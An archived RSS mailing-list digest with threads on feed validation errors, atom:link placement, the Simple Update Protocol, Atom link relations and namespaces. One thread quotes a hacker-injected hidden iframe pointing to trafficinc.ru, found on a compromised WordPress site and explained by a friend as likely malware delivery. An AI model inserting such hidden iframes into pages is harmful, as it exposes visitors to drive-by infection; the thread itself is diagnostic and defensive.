My feed was working fine until the end of the month when this error
appeared which means my rss and podcast feeds just dont work:

line 800, column 0: XML parsing error: <unknown>:800:0: junk after
document element [help]

     <script type="text/javascript">

This is the feedvalidator address:
http://feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.musiclikedirt.com%2Ffeed

I dont understand why it suddenly changed as Im wracking my mind to
remember changing anything on the site?

Can anyone help or point me in right direction?

Short answer:
     You've got a ton of formatting junk in the feed.  Take it out.

Long(er) answer is feeds are designed to carry textual info and small
amounts of extra data (like enclosures, etc).  Not a ton of formatting and
scripting.  You need to make a feed that's composed of text, not just web
posts full of bells-and-whistles.   Feeds are (largely) designed to allow
readers to READ them, not be inundated with a barrage of web gizmos.  That's
what web pages are for, not feeds.

So, simplify the feed and it'll work.

----- Original Message -----

> My feed was working fine until the end of the month when this error
> appeared which means my rss and podcast feeds just dont work:
>
> line 800, column 0: XML parsing error: <unknown>:800:0: junk after
> document element [help]
>
>    <script type="text/javascript">
>
> This is the feedvalidator address:
>
http://feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.musiclikedirt.com%2Ffeed
>
> I dont understand why it suddenly changed as Im wracking my mind to
> remember changing anything on the site?
>
> Can anyone help or point me in right direction?
>

Bill,
I think that's your opinion and likely the intent of RDF RSS, but RSS
2.0 specifically allows for markup and style (formatting junk). Many
RSS clients will display markup and style so that the subscriber can
read entire posts without having to open every blog in your Web
browser that he's subscribed to.

When I clicked on the validator URL included, I didn't see any errors
and the feed appeared to be valid. I can only assume the publisher
was able to fix the feed before I approved his message.
Thanks,

Randy Charles Morin
http://www.therssweblog.com


--- In rss-public@yahoogroups.com, "Bill Kearney" <wkearney@...>
wrote:
>
> Short answer:
>     You've got a ton of formatting junk in the feed.  Take it out.
>
> Long(er) answer is feeds are designed to carry textual info and
small
> amounts of extra data (like enclosures, etc).  Not a ton of
formatting and
> scripting.  You need to make a feed that's composed of text, not
just web
> posts full of bells-and-whistles.   Feeds are (largely) designed to
allow
> readers to READ them, not be inundated with a barrage of web
gizmos.  That's
> what web pages are for, not feeds.
>
> So, simplify the feed and it'll work.
>
> ----- Original Message -----
>
> > My feed was working fine until the end of the month when this
error
> > appeared which means my rss and podcast feeds just dont work:
> >
> > line 800, column 0: XML parsing error: <unknown>:800:0: junk after
> > document element [help]
> >
> >    <script type="text/javascript">
> >
> > This is the feedvalidator address:
> > http://feedvalidator.org/check.cgi?url=http%3A%2F%
2Fwww.musiclikedirt.com%2Ffeed
> >
> > I dont understand why it suddenly changed as Im wracking my mind
to
> > remember changing anything on the site?
> >
> > Can anyone help or point me in right direction?
> >
>

Thanks Randy

I just wasted three days switching off plug ins, deleting &'s, checking code and
unpublishing
posts trying to fix it but it turns out I'd been hacked.

Someone has put some code which corrupted the feed on my site or database (ive
not
worked out which yet). Upgrading to latest Wordpress fixed the feed.

I think what happened is I got hacked. Just got this email from a programmer
friend of
mine:

I'm afraid it looks like your site has been hacked - if it's Wordpress and it's
out of date,
and if you allow comments or some other way for the user to get input onto the
site, then
it was could have been through an SQL injection attack. If none of those are
true then
perhaps someone gained access to the server itself.

The Javascript plants this HTML at the end of your page:

<iframe src='http://trafficinc.ru/index.php' width='1' height='1' style='visibil
ity: hidden;'></iframe>

The iframe will contain whatever trafficinc.ru/index.php is dishing up - I would
suspect
it'd be malware that is attempting to exploit some vulnerability or other. Its
size means
that it wouldn't be visible on screen so it's not simply trying to plant
advertising on your
page.

I would take the site down to stop your users from getting infected, then update
to the
latest WordPress, PHP and MySQL and find out where that HTML is in the database
and get
rid of it (it could be anywhere, SQL injection attacks allow the attacker to
write content
into any record in the database, but it'll have the text you're seeing in your
page so it
shouldn't be too hard to find).


Good luck!
--------------

I updated to Wordpress 2.6.3 and the feed error disappeared so it must have been
placed
on my site by a hacker! Very alarming and I need to look into where the code is.
I
remember a few weeks ago finding a comment on the site that said it was made by
me (ie
Admin) but I knew nothing about it.

Regarding all the formatting I really need to learn more about RSS. Ive not got
a clue about
how to strip out formatting from my feed. The whole podcast rss and normal rss
process
is quite confusing to a beginner.

Thanks all for the help

I am not able to publish my blogpost in Tamilmanam.net. I tried
everything, but it shows that please check your RSS Feed.

Please explain what is wrong with this.

I am not able to publish my blogpost in Tamilmanam.net. I tried
everything, but it shows that please check your RSS Feed.

Please explain what is wrong with this.

Feed Validator reports my feed is valid but recommends I fix a misplaced item: 
"all item
elements should appear after all of the other elements in a channel." The order
of my tags
is as follows (with dummy stuff plugged in), and I believe this conforms to
specifications:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>MY TITLE HERE</title>
<link>MY LINK HERE</link>
<description>MY DESCRIPTION HERE</description>
<language>en-us</language>
<pubDate>Mon, 16 Jun 2008 07:31:32 -0700</pubDate>
<generator>MY GENERATOR NAME HERE</generator>
<webMaster>MY EMAIL ADDR HERE</webMaster>
<item>
<title>MY TITLE FOR FIRST ITEM HERE</title>
etc etc,  for a number of items, down to ...
</item>
<atom:link href="MY LINK HERE" rel="self" type="application/rss+xml" />
</channel>
</rss>


But Feed Validator reports that the <item> tags (I have a number of items in the
feed) are
out of place... "all item elements should appear after all of the other elements
in a
channel."

What am I doing wrong? Isn't the above exactly compliant with 2.0 specs?

Thx,
Ken

Hello,


On Wed, Nov 19, 2008 at 1:27 PM, kengorman238 <ken@...> wrote:

[...]

> What am I doing wrong? Isn't the above exactly compliant with 2.0 specs?

Your need is valid.  The complaint it makes, though, is a
recommendation. (I.e., it's suggesting you do something for various
reasons.)

Feed Validator is probably complaining about the...

<atom:link href="MY LINK HERE" rel="self" type="application/rss+xml" />

... near the end of your code.

It is suggesting you put this BEFORE any of the <item> elements.


So if you were to change your code to...

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>MY TITLE HERE</title>
<link>MY LINK HERE</link>
<description>MY DESCRIPTION HERE</description>
<language>en-us</language>
<pubDate>Mon, 16 Jun 2008 07:31:32 -0700</pubDate>
<generator>MY GENERATOR NAME HERE</generator>
<webMaster>MY EMAIL ADDR HERE</webMaster>

<atom:link href="MY LINK HERE" rel="self" type="application/rss+xml" />

<item>
<title>MY TITLE FOR FIRST ITEM HERE</title>
etc etc, for a number of items, down to ...
</item>

</channel>
</rss>

... then it should be OK.


--
Charles Iliya Krempeaux, B.Sc.
http://changelog.ca/

Canadian Economics Forum - http://forum.freemarkets.ca/

Charles, thanks for tip, I'll check it out.

(I recall seeing somewhere, but can't remember where, that the
<atom...> line goes after the last item, and that's why I place it
there in feeds that my site generates.)

Anyway, thanks again.

Ken



On Nov 19, 2008, at 2:57 PM, Charles Iliya Krempeaux wrote:

> Hello,
>
> On Wed, Nov 19, 2008 at 1:27 PM, kengorman238 <ken@...> wrote:
>
> [...]
>
> > What am I doing wrong? Isn't the above exactly compliant with 2.0
> specs?
>
> Your need is valid. The complaint it makes, though, is a
> recommendation. (I.e., it's suggesting you do something for various
> reasons.)
>
> Feed Validator is probably complaining about the...
>
> <atom:link href="MY LINK HERE" rel="self" type="application/rss
> +xml" />
>
> ... near the end of your code.
>
> It is suggesting you put this BEFORE any of the <item> elements.
>
> So if you were to change your code to...
>
> <?xml version="1.0" encoding="UTF-8"?>
> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
> <channel>
> <title>MY TITLE HERE</title>
> <link>MY LINK HERE</link>
> <description>MY DESCRIPTION HERE</description>
> <language>en-us</language>
> <pubDate>Mon, 16 Jun 2008 07:31:32 -0700</pubDate>
> <generator>MY GENERATOR NAME HERE</generator>
> <webMaster>MY EMAIL ADDR HERE</webMaster>
>
> <atom:link href="MY LINK HERE" rel="self" type="application/rss
> +xml" />
>
> <item>
> <title>MY TITLE FOR FIRST ITEM HERE</title>
> etc etc, for a number of items, down to ...
> </item>
>
> </channel>
> </rss>
>
> ... then it should be OK.
>
> --
> Charles Iliya Krempeaux, B.Sc.
> http://changelog.ca/
>
> Canadian Economics Forum - http://forum.freemarkets.ca/
>
>



[Non-text portions of this message have been removed]

Charles Iliya Krempeaux wrote:
>
> Hello,
>
> On Wed, Nov 19, 2008 at 1:27 PM, kengorman238 <ken@...
> <mailto:ken%40keligo.com>> wrote:
>
> [...]
>
>  > What am I doing wrong? Isn't the above exactly compliant with 2.0 specs?
>
> Your need is valid. The complaint it makes, though, is a
> recommendation. (I.e., it's suggesting you do something for various
> reasons.)
>
> Feed Validator is probably complaining about the...
>
> <atom:link href="MY LINK HERE" rel="self" type="application/rss+xml" />
>
> ... near the end of your code.
>
> It is suggesting you put this BEFORE any of the <item> elements.

Exactly right.  If I'm misinterpreting the RSS Profile, let me know and
I will correct the feedvalidator.  Meanwhile all the feedvalidator is
attempting to do is passing along the recommendation.

- Sam Ruby

I realize it's just a recommendation, but I'm trying to be as "clean"
as possible. I'm wondering if the validator is correct or not
regarding placement of that <atom...> line. I placed it there based on
some specification I read somewhere ... can't recall where ... not
because I guessed or anything like that. Surely there is some official
specification about this somewhere that will answer the question.

On Nov 20, 2008, at 6:12 PM, Sam Ruby wrote:

> Charles Iliya Krempeaux wrote:
> >
> > Hello,
> >
> > On Wed, Nov 19, 2008 at 1:27 PM, kengorman238 <ken@...
> > <mailto:ken%40keligo.com>> wrote:
> >
> > [...]
> >
> > > What am I doing wrong? Isn't the above exactly compliant with
> 2.0 specs?
> >
> > Your need is valid. The complaint it makes, though, is a
> > recommendation. (I.e., it's suggesting you do something for various
> > reasons.)
> >
> > Feed Validator is probably complaining about the...
> >
> > <atom:link href="MY LINK HERE" rel="self" type="application/rss
> +xml" />
> >
> > ... near the end of your code.
> >
> > It is suggesting you put this BEFORE any of the <item> elements.
>
> Exactly right. If I'm misinterpreting the RSS Profile, let me know and
> I will correct the feedvalidator. Meanwhile all the feedvalidator is
> attempting to do is passing along the recommendation.
>
> - Sam Ruby
>
>
>



[Non-text portions of this message have been removed]

Hi Everyone,

This is my first post in this Forum.

We are developing one RSS client. To validate the XML i need some
clarification on the RSS 2.0 specification.

1. Can one feed have more than 1 item with the same title? When i
tried some feed creation tools, some tools did not allow this and some
did. Can we have some ref. for this?

2. Will PubDate of Channel be updated only when PubDate of an item
gets updated? Can i use Channel PubDate as a check point validate if
my XML is changed or not?

I need these info very urgently.

Your suggestions and answers are very much appreciated.

Thanks
Gandhi

--- In rss-public@yahoogroups.com, "gandhirajendran"
<gandhigurunathan@...> wrote:
> 1. Can one feed have more than 1 item with the same title? When i
> tried some feed creation tools, some tools did not allow this and
some
> did. Can we have some ref. for this?

Yes, they can have multiple items with the same title.

> 2. Will PubDate of Channel be updated only when PubDate of an item
> gets updated? Can i use Channel PubDate as a check point validate
if
> my XML is changed or not?

pubDate of channel can be updated more frequently than when pubDate
of an item gets updated. For instance, you may republish your entire
website even though no item has changed. This might be done to change
your blog title, blog description or similar.
Hope this helps,

Randy Charles Morin
http://www.therssweblog.com

--- In rss-public@yahoogroups.com, Sam Ruby <rubys@...> wrote:
> Exactly right. If I'm misinterpreting the RSS Profile, let me know
> and I will correct the feedvalidator.  Meanwhile all the
> feedvalidator is attempting to do is passing along the recommendation.

You're interpreting the profile correctly. It has this recommendation
in the Channel section:

"All item elements SHOULD appear after all of the other elements in a
channel."

http://www.rssboard.org/rss-profile#element-channel

As I recall, the reason for this advice is that some RSS consuming
tools have trouble with channel elements that appear after item
elements. They don't look for them, because the programmer made the
incorrect assumption that no channel elements can appear after the
first item.

FriendFeed is working on Simple Update Protocol (SUP), a means of
discovering when feeds on a particular service have been updated
without polling the individual feeds:

http://code.google.com/p/simpleupdateprotocol/

Feeds indicate their updates can be tracked with SUP by using a new
channel-link tag, as in this example from an Atom feed:

<link rel="http://api.friendfeed.com/2008/03#sup"
href="http://friendfeed.com/api/sup.json#53924729"
type="application/json" />

The rel attribute identifies an ID for the feed, called its SUP-ID.
The href attribute contains a URL that uses JSON data to identify
updated feeds by their SUP-IDs.

My first take on the protocol is that defining a relationship with a
URI is too different than standard link relationships in HTML:

http://www.w3.org/TR/REC-html40/types.html#type-links

Also, neither RSS 1.0 nor RSS 2.0 allows multiple channel-link tags,
so this would only be valid in an Atom feed.

Both of these concerns could be addressed by identifying the SUP
provider with a new namespace like this:

<rss xmlns:sup="http://friendfeed.com/api/sup/">
<channel>
<sup:provider href="http://friendfeed.com/api/sup.json#53924729"
type="application/json" />
...

If the definition of the channel-cloud element wasn't tied so closely
to remote procedure calls, it could have been used to identify a sup
provider.

After posting I found an alternative idea employed by Six Apart -- an
update stream in Atom format with updates from any TypePad or Vox blog:

http://updates.sixapart.com/

There's also something Radio UserLand does -- a channel-category tag:

<category
domain="http://rpc.weblogs.com/shortChanges.xml">rssUpdates>/category>

The domain is a changes.xml file on a Weblogs.Com-style ping server.

I added an issue to SUP's home page on Code.Google.Com about the use
of invalid RSS:

http://code.google.com/p/simpleupdateprotocol/issues/detail?id=3

That page permits comments, so it's a way to reach the SUP creators
with feedback on this issue and others.

Hello,

On Sat, Dec 6, 2008 at 7:48 AM, rcade <cadenhead@...> wrote:
> FriendFeed is working on Simple Update Protocol (SUP), a means of
> discovering when feeds on a particular service have been updated
> without polling the individual feeds:
>
> http://code.google.com/p/simpleupdateprotocol/
>
> Feeds indicate their updates can be tracked with SUP by using a new
> channel-link tag, as in this example from an Atom feed:
>
> <link rel="http://api.friendfeed.com/2008/03#sup"
> href="http://friendfeed.com/api/sup.json#53924729"
> type="application/json" />
>
> The rel attribute identifies an ID for the feed, called its SUP-ID.
> The href attribute contains a URL that uses JSON data to identify
> updated feeds by their SUP-IDs.
>
> My first take on the protocol is that defining a relationship with a
> URI is too different than standard link relationships in HTML:
>
> http://www.w3.org/TR/REC-html40/types.html#type-links

AFAIK, Atom requires you to use URLs for non-standard "rel" attribute
values.  So what SUP is doing for the "rel" attribute is correct.

> Also, neither RSS 1.0 nor RSS 2.0 allows multiple channel-link tags,
> so this would only be valid in an Atom feed.
>
> Both of these concerns could be addressed by identifying the SUP
> provider with a new namespace like this:
>
> <rss xmlns:sup="http://friendfeed.com/api/sup/">
> <channel>
> <sup:provider href="http://friendfeed.com/api/sup.json#53924729"
> type="application/json" />
> ...

You could also just use Atomic RSS...

http://www.tbray.org/ongoing/When/200x/2005/07/27/Atomic-RSS

... and get...

<rss xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<atom:link rel="http://api.friendfeed.com/2008/03#sup"
href="http://friendfeed.com/api/sup.json#53924729"
type="application/json" />
...

That way SUP looks basically the same in Atom and RSS.

--
Charles Iliya Krempeaux, B.Sc.
http://changelog.ca/

--- In rss-public@yahoogroups.com, "Charles Iliya Krempeaux"
<supercanadian@...> wrote:
> AFAIK, Atom requires you to use URLs for non-standard "rel" attribute
> values.  So what SUP is doing for the "rel" attribute is correct.

Interesting -- I wasn't aware of that. I tried to check it in the Atom
format spec, but I don't understand this sentence:

"The value of "rel" MUST be a string that is non-empty and matches
either the "isegment-nz-nc" or the "IRI" production in [RFC3987]."

http://www.atomenabled.org/developers/syndication/atom-format-spec.php#element.l\
ink

Which part of that means it's OK to define new relationships as IRIs
instead of getting IANA approval for your new rel value?

> <atom:link rel="http://api.friendfeed.com/2008/03#sup"
> href="http://friendfeed.com/api/sup.json#53924729"
> type="application/json" />
> ...

Are you aware of any IRI-based relationships that are currently in use
employing atom:link in feeds?

* rcade <cadenhead@...> [2008-12-07 02:15]:
> I tried to check it in the Atom format spec, but I don't
> understand this sentence:
>
> "The value of "rel" MUST be a string that is non-empty and
> matches either the "isegment-nz-nc" or the "IRI" production in
> [RFC3987]."
>
>
http://www.atomenabled.org/developers/syndication/atom-format-spec.php#element.l\
ink
>
> Which part of that means it's OK to define new relationships as
> IRIs instead of getting IANA approval for your new rel value?

The sentence directly following that one.

     If a name is given, implementations MUST consider the link
     relation type equivalent to the same name registered within
     the IANA Registry of Link Relations (Section 7), and thus to
     the IRI that would be obtained by appending the value of the
     rel attribute to the string
     "http://www.iana.org/assignments/relation/".

IANA is the authority for iana.org URIs, but you are free to use
your own.

Regards,
--
Aristotle Pagaltzis // <http://plasmasturm.org/>

Hello,

On Sat, Dec 6, 2008 at 5:13 PM, rcade <cadenhead@...> wrote:
> --- In rss-public@yahoogroups.com, "Charles Iliya Krempeaux"
>
> <supercanadian@...> wrote:

[...]

> Are you aware of any IRI-based relationships that are currently in use
> employing atom:link in feeds?

Well, obviously anyone can create an Atom
URL/URI/IRI/whatever-you-want-to-call-them "rel" extension... and I've
even done it for "in house" software.  But I'm guessing you mean ones
in the wild.  Well there's SUP.  Atom threading was initially
done/proposed that way too I think.  (See:
http://www.ibm.com/developerworks/xml/library/x-atom10.html for
example.)  But I don't really know of any others.

--
Charles Iliya Krempeaux, B.Sc.
http://changelog.ca/

rcade wrote:
>
> Also, neither RSS 1.0 nor RSS 2.0 allows multiple channel-link tags,
> so this would only be valid in an Atom feed.

Neither place any limits on the number of atom:link elements in such
contexts.  Atom links with a rel="self" are already commonplace in RSS
2.0 feeds.

- Sam Ruby

--- In rss-public@yahoogroups.com, Sam Ruby <rubys@...> wrote:
> Neither place any limits on the number of atom:link elements in such
> contexts.  Atom links with a rel="self" are already commonplace in
> RSS 2.0 feeds.

True. But the documentation for SUP doesn't say that RSS publishers
should use atom:link in their feeds to define a provider. The docs
just say to add a link tag.

Hello


On Sat, Dec 6, 2008 at 8:45 AM, rcade <cadenhead@...> wrote:
> After posting I found an alternative idea employed by Six Apart -- an
> update stream in Atom format with updates from any TypePad or Vox blog:
>
> http://updates.sixapart.com/
>
> There's also something Radio UserLand does -- a channel-category tag:
>
> <category
> domain="http://rpc.weblogs.com/shortChanges.xml">rssUpdates>/category>
>
> The domain is a changes.xml file on a Weblogs.Com-style ping server.

Seems like quite the hack.

--
Charles Iliya Krempeaux, B.Sc.
http://changelog.ca/

rcade wrote:
> Are you aware of any IRI-based relationships that are currently in use
> employing atom:link in feeds?

I know Google uses IRI-based relationships in number of their feeds. Have a
look on Google calendar and Picasa for some examples.

Not that I'd necessarily recommend anything that Google is doing, but if
you're just looking for examples...

Regards
James

Hi everyone,

Is there a function in php to check if the date is in the RFC-822 date
format? I would greatly appreciate your help.

prashan

--- In rss-public@yahoogroups.com, "prashan"
<prashan_wanigasekara@...> wrote:
> Is there a function in php to check if the date is in the RFC-822 date
> format? I would greatly appreciate your help.

What language are you coding in?

Hi,

I try to be precise in a generic and popularized RSS definition for non
coders.

RSS is an XML dialect. It can handle external namespaces declared by "xmlns"
attributes.

But, hum, do you consider RSS as "namespace" in itself ? Or is it incorrect
to use this word.

In fact, I try to explain "namespace", in an RSS/Atom and modules/extensions
view, describing it as a group of elements all possibly used in a specific
goal, and needing to be declared to avoid polysemic confusion.

But how would you explain that RSS is a namespace... but that you don't have
to declare it the usual way...  (with "xmlns") ? Is the "<rss
version=2.0>... </rss>" section enough to say that the RSS namespace is the
basic namespace I the newsfeed ?

Thanks

secou

* secou <secou@...> [2009-02-02 16:30]:
> RSS is an XML dialect.

“RSS is an XML vocabulary.”

> It can handle external namespaces declared by "xmlns"
> attributes.

“It can incorporate other vocabularies if they have a namespace.
Namespaces must be declared with `xmlns` attributes.”

> But, hum, do you consider RSS as "namespace" in itself? Or is
> it incorrect to use this word.

No. Yes.

> In fact, I try to explain "namespace", in an RSS/Atom and
> modules/extensions view, describing it as a group of elements
> all possibly used in a specific goal, and needing to be
> declared to avoid polysemic confusion.
>
> But how would you explain that RSS is a namespace... but that
> you don't have to declare it the usual way...  (with "xmlns") ?
> Is the "<rss version=2.0>... </rss>" section enough to say that
> the RSS namespace is the basic namespace I the newsfeed ?

See above.

Regards,
--
Aristotle Pagaltzis // <http://plasmasturm.org/>